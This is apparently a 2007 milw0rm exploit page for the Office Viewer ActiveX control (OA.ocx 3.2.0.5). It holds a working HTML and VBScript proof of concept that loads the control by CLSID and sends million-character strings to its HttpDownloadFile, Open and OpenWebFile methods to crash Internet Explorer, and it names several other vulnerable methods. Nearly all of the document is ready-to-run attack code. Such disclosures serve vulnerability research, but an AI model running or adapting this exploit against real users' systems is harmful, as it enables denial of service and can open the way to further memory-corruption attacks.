<span style="font: 14pt Courier New;"><p align="center"><b>2007/05/04</b></p></span>
<pre>
<code><span style="font: 10pt Courier New;"><span class="general1-symbol">-----------------------------------------------------------------------------
<b>Office Viewer (OA.ocx v. 3.2.0.5) multiple methods Denial of Service</b>
url: http://www.officeocx.com/
price: from �77.95 (update to last version) to �1,558.95 (Royalty)
author: shinnai
mail: shinnai[at]autistici[dot]org
site: http://shinnai.altervista.org
Tested on Windows XP Professional SP2 all patched, with Internet Explorer 7
all software that use this ocx are vulnerable to these exploits.
Theese methods are vulnerable too:
<b>DoOleCommand</b>
<b>FTPDownloadFile</b>
<b>FTPUploadFile</b>
<b>HttpUploadFile</b>
<b>Save</b>
<b>SaveWebFile</b>
-----------------------------------------------------------------------------
<object classid='clsid:18A295DA-088E-42D1-BE31-5028D7F9B9B5' id='target' width="405" height="50"></object>
<select style="width: 404px" name="Pucca">
<option value = "HttpDownloadFile">HttpDownloadFile</option>
<option value = "Open">Open</option>
<option value = "OpenWebFile">OpenWebFile</option>
<option value = "Quoting">Quoting...</option>
</select>
<input language=VBScript onclick=tryMe() type=button value="Click here to start the test">
<script language='vbscript'>
Sub tryMe
on error resume next
Dim MyMsg
if Pucca.value = "HttpDownloadFile" then
argCount = 2
arg1=String(1000000,"A")
arg2="defaultV"
target.HttpDownloadFile arg1, arg2
elseif Pucca.value = "Open" then
argCount = 1
arg1=String(1000000, "A")
target.Open arg1
elseif Pucca.value = "OpenWebFile" then
argCount = 1
arg1=String(1000000, "A")
target.OpenWebFile arg1
else
MyMsg = MsgBox ("I wanna feel like I�m somewhere I belong",64 ,"2007/05/04 - Office Viewer 3.2")
end if
End Sub
</script>
</span></span>
</code></pre>
# milw0rm.com [2007-05-04]
